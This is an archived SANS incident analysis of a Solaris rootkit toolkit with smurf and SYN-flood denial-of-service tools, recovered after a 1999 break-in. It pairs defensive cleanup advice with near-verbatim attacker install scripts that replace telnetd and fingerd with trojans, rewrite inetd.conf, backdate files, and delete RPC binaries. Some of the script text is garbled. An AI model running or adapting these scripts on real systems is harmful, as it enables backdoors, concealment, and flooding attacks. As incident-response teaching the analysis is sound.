16 InfoSec Courses, 2 Weeks of Training at SANS Virginia Beach 2017. Save $400 thru June 28.

IDFAQ: Analysis of Rootkit/Smurf Payload Toolkit v 1.1

Updated 1/11/00

A number of systems here were compromised on or about 12/22/99. The primary targets were Solaris systems, however, Compaq (formerly DEC) and SGI IRIX systems were compromised as well. Prompt action by the local sysadmins prevented the hackers from running their cleanup scripts. Consequently, we were able to get the toolkit that they were using against us. I had seen some of these files in earlier breakins dating from 9/99 but wasn't able to piece it together until we got the toolkit.

The SANS Institute has been analyzing log entries in an attempt to see if TFN or Trinoo style attacks are in place. This toolkit contains components that are similar to what is in the TFN toolkit. I need to emphasize that what we found here is NOT TFN or Trinoo.

This past year that attackers have started to use distributed handler/agent technology for sniffers and DoS attacks, and covert channels for communication. ICMP is the most popular method of communication. This is the basis of the Trinoo or TFN attack tools.

This particular attack, while not as sophisticated as Trinoo or TFN, is just as capable of launching a automated Denial-of-Service attack against a target. While it's possible to launch the equivalent of a small scale TFN attack with the tools we found here, I'd classify this attack as a simple rootkit style attack with a DoS payload.

If you have any more information or insights, please send us a note to handler@incidents.org.

The Attack

The hackers are using buffer overflow exploits on rpc.ttdbserverd, rpc.cmsd, sadmind, rpc.statd to gain root access to a machine. In some cases, they use a variant of the /tmp/bob attack which is associated with the ffcore buffer overflow exploit. In any event, if they are successful in gaining access, they ftp the toolkit into a directory on the machine. Our past experience has revealed these dirs to be "...", ".. ", ".lib", /usr/lib/libsof4/... and /dev/cdrom, /dev/rmt/diskette. They install a backdoor into the system that gives them root access. IMHO, the machines are being set up for a later attack. The payload they deliver is a set of Solaris binaries. In at least one instance, they compromised a Compaq system and tried to run the Solaris binaries.

The toolkit replaces your current /etc/inetd.conf with a vanilla copy that opens up traffic to all of the TCP and UDP services. This effectively disables any TCP Wrappers running on your system.

The Solution

Proper OS Patch maintenance is the best way to protect your systems from the buffer overflow attack. Solaris patches and patch reports are available from sunsolve.sun.com. Turning off all unnecessary services is another step to take. Installing tools like portsentry, logcheck and TCP Wrappers are a definite step in helping detect the probe or attack. Tripwire is the best tool for identifying which files on your system have been modified.

Cleaning Up

Tripwire is the best way to find any trojan files that are on your system. It's a little time consuming to set up initially but worth it in situations like this. Search for hidden directories. Some of the names we've discovered in past breakins are "...", ".. " (dot-dot-space), ".lib", /dev/cdrom and /dev/rmt/diskette. Use the find command to search for these and here's a sample command: find / -name "..." -print will search for a file called "...". Search for the files shown in the toolkit.

Check your /usr/sbin/in.telnetd and /usr/sbin/in.fingerd filesizes and if it matches the size shown in the next section, then you've been trojaned.

You should sweep your system for Trinoo or TFN. The find_ddos utility supplied by http://www.nipc.gov is the best tool to use to sweep your system. It is available from http://www.fbi.gov/nipc/trinoo.htm.

The Tools

The name of the toolkit is solkit.tar and it contains the following items:
-rw-r--r-- 1 root root 2875 May 16 1999 bfile
-rw-r--r-- 1 root root 3036 Jul 2 1999 bfile2
-rw-r--r-- 1 root root 20118 Jul 2 1999 bfile3
-rwxr-xr-x 1 root root 114 Jul 2 1999 clean.sh
-rw-r--r-- 1 root root 3590 May 13 1999 finger.conf
-rwxr-xr-x 1 root root 21192 May 11 1999 hme
-rwxr-xr-x 1 root root 9684 Aug 16 16:15 in.fingerd
-rwxr-xr-x 1 root root 35412 Aug 16 16:15 in.telnetd
-rwxr-xr-x 1 root root 1062 Jul 2 1999 install
-rwxr-xr-x 1 root root 21184 May 11 1999 le
-rwxr-xr-x 1 root root 86 Jun 30 1999 script
-rwxr-xr-x 1 root root 1172 Jul 30 18:16 secure.sh
-rwxr-xr-x 1 root daemonv 153600 Dec 28 16:34 solkit.tar
-rwxr-xr-x 1 root root 11520 May 13 1999 sunsmurf
-rwxr-xr-x 1 root root 10488 May 13 1999 syn

The tools are smurf style attack tools that are designed to allow the hackers to launch smurf-style attacks on unsuspecting targets.



These file are lists of IP network addresses of the form xxx.xxx.xxx.0 or xxx.xxx.xxx.255. These are the networks that supposedly will flood a victim host as a result of the smurf attack. This particular toolkit's list had 1848 IP network addresses. A subset of the IP addresses found in these files is shown below.

# more bfile


# removes our files
rm -rf solkit.tar
rm -rf secure.sh
rm -rf install
rm -rf clean.sh
echo "=> clean0red!! heh.   "

As you can see from the above commands, this script cleans up the loose ends after the toolkit is installed.


This file is really a stripped down /etc/inet/inetd.conf file. It allows telnetd, ftp, the standard r-commands, uucp, finger and the standard UDP based protocols (chargen, etc.). Here, the attackers disable any TCP wrappers that may be running on the system. Also, the in.telnetd and in.fingerd programs are trojans and will be discussed later in this page.

#ident  "@(#) inetd.conf 1.22 95/07/14 SMI" /* SVr4.0 1.5 */ 
# Configuration file for inetd(1M). See inetd.conf(4). 
# To re-configure the running inetd process, edit this file, then 
# send the inetd process a SIGHUP. 
# Syntax for socket-based Internet services: 
# Syntax for TLI-based Internet services: 
# tli    
# Ftp and telnet are standard Internet services. 
ftp stream  tcp nowait  root  /usr/sbin/in.ftpd in.ftpd 
telnet  stream  tcp nowait  root  /usr/sbin/in.telnetd  in.telnetd 
# Tnamed serves the obsolete IEN-116 name server protocol. 
name  dgram udp wait  root  /usr/sbin/in.tnamed in.tnamed 
# Shell, login, exec, comsat and talk are BSD protocols. 
shell stream  tcp nowait  root  /usr/sbin/in.rshd in.rshd 
login stream  tcp nowait  root  /usr/sbin/in.rlogind    in.rlogind 
exec  stream  tcp nowait  root  /usr/sbin/in.rexecd in.rexecd 
comsat  dgram udp wait  root  /usr/sbin/in.comsat in.comsat 
talk  dgram udp wait  root  /usr/sbin/in.talkd  in.talkd 
# Must run as root (to read /etc/shadow); "-n" turns off logging in utmp/wtmp. 
uucp  stream  tcp nowait  root  /usr/sbin/in.uucpd  in.uucpd 
# Tftp service is provided primarily for booting.  Most sites run this 
# only on machines acting as "boot servers." 
#tftp dgram udp wait  root  /usr/sbin/in.tftpd  in.tftpd 
-s /tftpboot 
# Finger, systat and netstat give out user information which may be 
# valuable to potential "system crackers."  Many sites choose to disable 
# some or all of these services to improve security. 
finger  stream  tcp nowait  root  /usr/sbin/in.fingerd  in.fingerd 
        ^^^^ |--This is what makes the finger trojan work 
#systat stream  tcp nowait  root  /usr/bin/ps   ps -ef 
#netstatstream  tcp nowait  root  /usr/bin/netstat  netstat -f inet 
# Time service is used for clock synchronization. 
time  stream  tcp nowait  root  internal 
time  dgram udp wait  root  internal 
# Echo, discard, daytime, and chargen are used primarily for testing. 
echo  stream  tcp nowait  root  internal 
echo  dgram udp wait  root  internal 
discard stream  tcp nowait  root  internal 
discard dgram udp wait  root  internal 
daytime stream  tcp nowait  root  internal 
daytime dgram udp wait  root  internal 
chargen stream  tcp nowait  root  internal 
chargen dgram udp wait  root  internal 
# RPC services syntax: 
#  can be either "tli" or "stream" or "dgram". 
# For "stream" and "dgram" assume that the endpoint is a socket descriptor. 
#  can be either a nettype or a netid or a "*". The value is 
# first treated as a nettype. If it is not a valid nettype then it is 
# treated as a netid. The "*" is a short-hand way of saying all the 
# transports supported by this system, ie. it equates to the "visible" 
# nettype. The syntax for is: 
#       *| |{[,]} 
# For example: 
# Solstice system and network administration class agent server 
# Rquotad supports UFS disk quotas for NFS clients 
# The rusers service gives out user information.  Sites concerned 
# with security may choose to disable it. 
# The spray server is used primarily for testing. 
# The rwall server allows others to post messages to users on this machine. 
# Rstatd is used by programs such as perfmeter. 
# The rexd server provides only minimal authentication and is often not run 
# by files in /var/spool/calendar 
# Sun ToolTalk Database Server 
# UFS-aware service daemon 
# Sun KCMS Profile Server 
# Sun Font Server 
fs  stream  tcp     wait nobody /usr/openwin/lib/fs.auto    fs 

hme, le

These programs are a variant of esniff.c and are compiled for the Sun hme and le network interfaces. In the past, we discovered that this program is sometimes called "update". A "strings hme" command produces the following output:

-- TCP/IP LOG -- TM: %s -- 
 PATH: %s(%s) => 
 STAT: %s, %d pkts, %d bytes [%s] 
PKT: (%s %04X) 
%s[%s] => 
Log ended at => %s 
sigalrm:  TIMEOUT 
%s:  alarm 
%s:  getmsg 
getmsg: control portion length < sizeof (long):  %d 
unexpected dlprim error 
dlattachreq:  putmsg 
dlokack:  response ctl.len too short:  %d 
dlokack:  DL_OK_ACK was not M_PCPROTO 
dlokack:  short response ctl.len:  %d 
dlbindreq:  putmsg 
dlbindack:  DL_OK_ACK was not M_PCPROTO 
dlbindack:  short response ctl.len:  %d 
dlpromiscon:  putmsg 
push bufmod 
finished getmsg() = %i 
c6Lqd3Dvn2l3s  solaris kit installer -
        relapse" echo "=> usage: ./install  " exit fi echo "=> $1 will
        be the working dir" echo "=> sleeping for 5 seconds if the dir is wrong
        ctrl-c now." sleep 5 
Start the actual installation process by creating the directories and copying the files to their final resting places.

echo "=> making directories..." 
mkdir $1/...
echo "=>>>>>>>>> moving sniffers and dos programs..."
mv hme $1/...
mv le $1/...
mv sunsmurf $1/...
mv syn $1/...
mv bfile* $1/...

We install the telnetd trojan by removing the real binary and replacing it with the trojan telnetd described in the previous section.

echo "=> backdooring telnetd..." 
chmod +x in.telnetd
rm -rf /usr/sbin/in.telnetd
mv in.telnetd /usr/sbin Grab the PID of the inet process for later.
inetpid=`ps -eaf |grep inetd |grep -v "grep inetd" | awk '{ print $2 }'`
echo "=> the pid of inetd is $inetpid - if this is wrong ctrl-c now."
sleep 5

Install the fingerd trojan. We don't know what it does yet. Once we do that, we restart the inetd process so it uses the replaced /etc/inetd.conf

echo "=> backdooring fingerd..." 
chmod +x in.fingerd
rm -rf /usr/sbin/in.fingerd
mv in.fingerd /usr/sbin
mv finger.conf /etc/inetd.conf
kill -9 $inetpid
/usr/sbin/inetd -s

We try to hide our tracks by playing with the modification dates. This is sorta silly since every file in the dirs will have the same date. /etc and /usr/sbin are the target directories.

echo "=> changing file dates..." 
touch 0502111196 /usr/sbin/*
touch 0502111196 /etc/*

We'll discuss secure.sh later. But here we mark the machine as our own so no other hacker can break into it. We do this by removing certain files like rpc.ttdbserverd, statd, etc.

echo "=> shelling to secure script. 
chmod +x secure.sh

Here we delete the install kit files.

echo "=> cleaning up..." 


This is a simple script that gets the PID of the inetd process.
inetpid=`ps ax |grep inetd |grep -v "grep inetd" | awk '{ print $2 }'` 

echo $inetdpid


This is one of the cleanup scripts used in the install program. Frankly, the only reason I see for using this script is to prevent other hackers from taking over this machine. It leaves a nice hole that tells a sysadmin that there is a problem.

# secure script to secure some basic shit

This script is designed to run on Solaris only.

if [ `uname` != SunOS ]; then
 echo "#: sorry, but wtf are you doing?"
 exit 0
Grab some PID numbers for the statd, nlock and rpcbind processes for later processing.

# defining stuff.
# ansi-
# pid numbers
STATD=`ps -eaf |grep statd |grep -v "grep statd" | awk '{
  print $2 }'`
NLOCK=`ps -eaf |grep nlock |grep -v "grep nlock" | awk '{
  print $2 }'`
BIND=`ps -eaf |grep rpcbind |grep -v "grep rpcbind" | awk '{
  print $2 }'`
# ok securing.
echo "#: securing."
echo "#: 1) changing modes on local files."
echo "#: will add more local security later. "
This is interesting. Just in case a sysadmin finds the backdoors, we leave a hole into the system by opening up the ufsrestore hole. There is a patch for this. I guess they assume you wouldn't look here since it was fixed.
chmod -s /lib/fs/ufs/ufsrestore
Let's remove the rpc.X stuff from /etc/inetd.conf just to make sure those services don't start up again by accident.
cat /etc/inetd.conf |grep -v "ttdb" |grep -v
"nlock" |grep -v "rpc" >> /etc/ine ; mv /etc/ine /et
echo "#: 2) remote crap like rpc.status , nlockmgr etc.."
Kill the running statd and rpcbind processes if they're running.
kill -9 $STATD
kill -9 $BIND
echo "#: 4) removing them so they ever start again!"
Remove the files so they can't be used against us. Talk about marking yourterritory.....:-)
cat /etc/rpc | grep -v status >>/tmp/bah ; mv /tmp/bah/etc/rpc
rm -rf /usr/lib/nfs/statd
rm -rf /etc/init.d/nfs.client
rm -rf /usr/sbin/rpcbind
rm -rf /usr/dt/bin/rpc.ttdbserverd
Create zero length files using the same filenames. Works if all you do is a plain ls and not an ls -l.
touch /usr/lib/nfs/statd
touch /usr/dt/bin/rpc.ttdbserverd
touch /usr/sbin/rpcbind
touch /etc/init.d/nfs.client
echo "5) secured."


This is appears to be a variant of the smurf.c program originally written by TFreak. It is a Solaris port. The toolkit only had the binary. I haven't been able to locate the source for it. A strings output of the binary follows.
can't find %s 
opening bcast file 
ERROR: no broadcasts found in file %s 
ERROR: packet size must be < 1024 
getting socket 
Flooding %s (. = 25 outgoing packets) 
[0m by 
[0m - ported into SunOS 5.x.x 
[Based on smurf.c by TFreak] - 99% of the credit goes to him 
usage: %s [target] [bcast file] [packets] [delay] [size] 
target        = address to hit 
bcast file    = file to read broadcast addresses from 
packets       = number of packets to send (0 = flood) 
delay         = wait between each packet (in ms) 
size          = size of packet (<: 1024) 
$Id smurf.c,v 5.0 1998/05/28 2:59:35 EST mercs Exp $ 


Apparently this program simply sends a SYN packet to the target from a spoofed source. It will send the SYN packet to a range of ports on the target. Here's the strings output of this binary.
[JSignal Caught. Exiting Cleanly. 
[JSegmentation Violation Caught. Exiting Cleanly. 
Unknown host %s 
Error sending syn packet. 
[0m %d 
shelley.c by mercs 
use: %s [srcaddr] [dstaddr] [low port] [high port] 
random addresses will be used if srcaddr is 0 
socket (raw) 
High port must be greater than Low port.